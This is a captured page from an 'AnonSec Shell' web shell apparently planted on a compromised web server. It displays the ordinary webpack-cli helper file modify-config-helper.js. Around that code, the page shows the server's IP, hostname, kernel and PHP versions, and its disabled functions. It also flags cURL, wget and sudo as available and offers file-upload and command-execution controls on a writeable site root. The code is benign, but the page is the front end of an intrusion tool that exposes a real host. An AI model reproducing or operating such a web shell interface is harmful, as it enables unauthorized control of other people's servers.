AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/wwwroot/mifepriston.org/node_modules/webpack-cli/lib/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/wwwroot/mifepriston.org/node_modules/webpack-cli/lib/utils/modify-config-helper.js
"use strict";

const fs = require("fs");
const path = require("path");
const chalk = require("chalk");
const yeoman = require("yeoman-environment");
const runTransform = require("../init/index");
const Generator = require("yeoman-generator");

/**
 *
 * Looks up the webpack.config in the user's path and runs a given
 * generator scaffold followed up by a transform
 *
 * @param {String} action — action to be done (add, remove, update, init)
 * @param {Class} name - Name for the given function
 * @returns {Function} runTransform - Returns a transformation instance
 */

module.exports = function modifyHelperUtil(action, generator, packages) {
	let configPath = path.resolve(process.cwd(), "webpack.config.js");
	const webpackConfigExists = fs.existsSync(configPath);
	if (!webpackConfigExists) {
		configPath = null;
	}
	const env = yeoman.createEnv("webpack", null);
	const generatorName = `webpack-${action}-generator`;

	if (!generator) {
		generator = class extends Generator {
			initializing() {
				packages.forEach(pkgPath => {
					return this.composeWith(require.resolve(pkgPath));
				});
			}
		};
	}
	env.registerStub(generator, generatorName);

	env.run(generatorName).on("end", () => {
		let configModule;
		try {
			const configPath = path.resolve(process.cwd(), ".yo-rc.json");
			configModule = require(configPath);
			// Change structure of the config to be transformed
			let tmpConfig = {};
			Object.keys(configModule).forEach(prop => {
				const configs = Object.keys(configModule[prop].configuration);
				configs.forEach(config => {
					tmpConfig[config] = configModule[prop].configuration[config];
				});
			});
			configModule = tmpConfig;
		} catch (err) {
			console.error(
				chalk.red("\nCould not find a yeoman configuration file.\n")
			);
			console.error(
				chalk.red(
					"\nPlease make sure to use 'this.config.set('configuration', this.configuration);' at the end of the generator.\n"
				)
			);
			Error.stackTraceLimit = 0;
			process.exitCode = -1;
		}
		const config = Object.assign(
			{
				configFile: !configPath ? null : fs.readFileSync(configPath, "utf8"),
				configPath: configPath
			},
			configModule
		);
		return runTransform(config, action);
	});
};

Anon7 - 2022
AnonSec Team